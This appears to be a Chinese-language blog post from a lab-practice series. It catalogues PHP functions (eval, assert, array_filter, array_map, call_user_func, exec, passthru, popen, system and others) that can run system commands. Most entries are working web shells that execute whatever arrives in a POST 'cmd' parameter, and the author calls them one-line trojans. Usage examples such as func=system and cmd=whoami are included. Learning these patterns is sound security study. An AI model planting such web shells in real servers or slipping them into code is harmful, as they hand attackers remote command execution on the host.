php_exec

array_filter

1
2
3
4
5
6
7
8
9
10
<?php 
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

//用回调函数过滤数组中的元素:array_filter(数组,函数)
//?func=system
//cmd=whoami
?>

image-20240122001540451

array_filter就是让每一个数组里面的成员都执行一遍回到函数,这个可以考虑python 的map

array_map

1
2
3
4
5
6
7
8
<?php
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;
//array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
?>

和array_filter一样的

assert

1
<?php @assert($_POST['cmd'])?>

这个就是一句话木马

只不过这个我们得使用system等函数

而且需要注意有一些函数他不返回结果的(exec,shell_exec)

但是会被执行

image-20240122002353663

call_user_func_array

1
2
3
4
5
6
7
<?php 
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
?>

image-20240122002535439

call_user_func.php

1
2
3
4
5
<?php
call_user_func("assert",$_POST['cmd']);
//传入的参数作为assert函数的参数
//cmd=system(whoami)
?>

image-20240122002659328

eval

一句话木马不多说

1
<?php @eval($_POST['cmd']);?>

exec

这个函数不会输出浏览器

1
2
3
4
5
6
7
8
9
10
11
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
//echo exec('whoami');
//exec('whoami', $return);
//var_dump($return);

$cmd=$_POST['cmd'];
@exec($cmd, $return);
var_dump($return);
?>

就和system 是一个效果

passthru.php

1
2
3
4
5
<?php
$post = $_POST['cmd'];
$output = passthru($post);
echo "$output";

popen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$fd = popen("whoami", 'r');
$ret = fgets($fd);
print($ret);

// $fd = popen("systeminfo > D:\\1.txt", 'r');
// pclose($fd);
// print(fgets(fopen("d:\\1.txt",'r')));
// $handle = fopen("D:\\1.txt", "r");
// $contents = fread($handle, 100000);
// fclose($handle);
// echo "<pre>$contents</pre>";

// $fd = popen("ipconfig",'r');
// while($s=fgets($fd)){
// echo "<pre>$s</pre>";
// }
?>

image-20240122003506918

shell_exec.php

1
2
3
4
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>

image-20240122004650284

system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo '<pre>';

// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);

// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

image-20240122004747559


php_exec
https://tsy244.github.io/2024/01/22/靶场记录/php-exec/
Author
August Rosenberg
Posted on
January 22, 2024
Licensed under